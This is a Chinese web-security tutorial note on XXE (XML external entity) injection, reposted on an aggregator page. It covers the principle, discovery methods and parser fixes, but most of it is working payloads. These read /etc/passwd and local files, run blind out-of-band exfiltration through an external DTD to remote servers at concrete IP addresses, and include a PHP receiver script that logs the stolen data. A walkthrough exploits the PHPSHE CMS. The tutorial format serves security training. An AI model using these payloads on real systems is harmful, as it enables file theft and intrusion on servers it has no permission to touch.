当前位置: 首页 > news >正文

Day60:WEB攻防-XMLXXE安全无回显方案OOB盲注DTD外部实体黑白盒挖掘

目录

XML&XXE-传输-原理&探针&利用&玩法

XXE 黑盒发现

XXE 白盒发现

XXE修复防御方案

有回显

无回显

XML&XXE-黑盒-JSON&黑盒测试&类型修改

XML&XXE-白盒-CMS&PHPSHE&无回显


知识点:

1、XXE&XML-原理-用途&外实体&安全

2、XXE&XML-黑盒-格式类型&数据类型

3、XXE&XML-白盒-函数审计&回显方案

XML&XXE-传输-原理&探针&利用&玩法

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。

XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(最常用)、命令执行、内网扫描、攻击内网等危害。

php原生态代码只能造成文件读取,其他的例如命令执行那些都是跟一些第三方库导致的安全问题有关

XML 与 HTML 的主要差异:

  • XML 被设计为传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。
  • HTML 旨在显示信息 ,而XML旨在传输存储信息。

Example:网站的xml文件解析

XXE 黑盒发现

  1. 获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
  2. 不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
  3. XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试 

判断对方使用XML来传输数据时,尝试xml语言payload进行测试 

不管获取的Content-Type类型或数据传输类型是否是XML,均可尝试修改为XML格式后提交测试xxe 

XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行(百度docx xxeb即可)

参考文章:https://blog.csdn.net/weixin_57567655/article/details/124588490

XXE 白盒发现

  1. 可通过应用功能追踪代码定位审计
  2. 可通过脚本特定函数搜索定位审计
  3. 可通过伪协议玩法绕过相关修复等
     

XXE修复防御方案

方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
 

有回显

读取文件

<?xml version="1.0"?>
<!DOCTYPE xiaodi [
<!ENTITY test SYSTEM  "file:///d:/1.txt">
]>
<user><username>&test;</username><password>xiaodi</password></user>

外部实体引用dtd

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:80/xxe.dtd">%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

xxe.dtd

<!ENTITY send SYSTEM "file:///d:/1.txt">

无回显

带外测试

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

或者不用dnslog,直接在VPS服务器上用python起一个WEB服务,然后看这个有没有请求记录即可。

python -m http.server port

无回显读文件(外部实体引用dtd)

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd">
%remote;
%all;
]>
<root>&send;</root>

xxe.dtd(真实情况下肯定放在VPS上)

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">

get.php(真实情况下肯定放在VPS上)

<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

那么这里又存在一个问题就是要读文件有空格有中文难道就读不了吗?
可以用php伪协议来绕过呀

php://filter/read=convert.base64-encode/resource=phpinfo.php

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % remote SYSTEM "http://124.221.77.120/xxe.dtd">
%remote;
%all;
]><user><username>&send;</username><password>admin</password></user>

其他玩法(协议)https://www.cnblogs.com/20175211lyz/p/11413335.html

XML&XXE-黑盒-JSON&黑盒测试&类型修改

漏洞URL:http://web.jarvisoj.com:9882/

更改请求数据格式:Content-Type为xml格式

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

XML&XXE-白盒-CMS&PHPSHE&无回显

1、搜索漏洞函数simplexml_load_string

2、pe_getxml函数调用了漏洞函数

3、wechat_getxml调用了pe_getxml

4、notify_url.php调用了wechat_getxml

5、访问notify_url文件触发wechat_getxml函数,构造Paylod测试

先尝试读取文件,无回显后带外测试:

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://1uwlwv.dnslog.cn">%file;
]>
<root>&send;</root>

存在XXE漏洞

然后带外传递数据解决无回显:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">get.php
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

http://www.lryc.cn/news/333442.html

相关文章:

  • 解锁网络安全新境界:雷池WAF社区版让网站防护变得轻而易举!
  • RabbitMQ安装详细教程
  • 如何快速写出一个完整的测试用例
  • Docker容器与虚拟化技术:OpenEuler 部署 ES 与 Kibana
  • 数学中的各种符号虚数概念
  • 什么是中间件
  • RabbitMQ面经 手敲浓缩版
  • 解锁金融数据中心场景,实现国产化AD替代,宁盾身份域管为信创电脑、应用提供统一管理
  • Django的js文件没有响应(DOMContentLoaded)
  • 滑动窗口代码模板
  • SpringBoot实现邮箱验证
  • Mac安装Docker提示Another application changed your Desktop configuration解决方案
  • 5分钟安装docker和docker compose环境
  • leetcode热题100.跳跃游戏2
  • 【前端】CSS(引入方式+选择器+常用元素属性+盒模型+弹性布局)
  • 迷茫下是自我提升
  • 用vscode仿制小米官网
  • 【Java+Springboot】------ 通过JDBC+GetMapping方法进行数据select查询、多种方式传参、最简单的基本示例!
  • 基于单片机光伏太阳能跟踪系统设计
  • Stable Diffusion 本地化部署
  • C++ Algorithm 常用算法
  • 线程安全--深入探究线程等待机制和死锁问题
  • 量子计算获重大突破!微软和Quantinuum将量子计算错误率降低800倍,网友:AI算力的希望
  • WordPress 6.5 “里贾纳”已经发布
  • 甲方安全建设之日志采集实操干货
  • dm8 开启归档模式
  • “AI复活”背后的数字永生:被期待成为下一个电商,培育市场认知和用户心智还需时间
  • 基于单片机钢琴电子节拍器系统设计
  • 我的创作纪念日(year Ⅱ)
  • 应急响应实战笔记05Linux实战篇(1)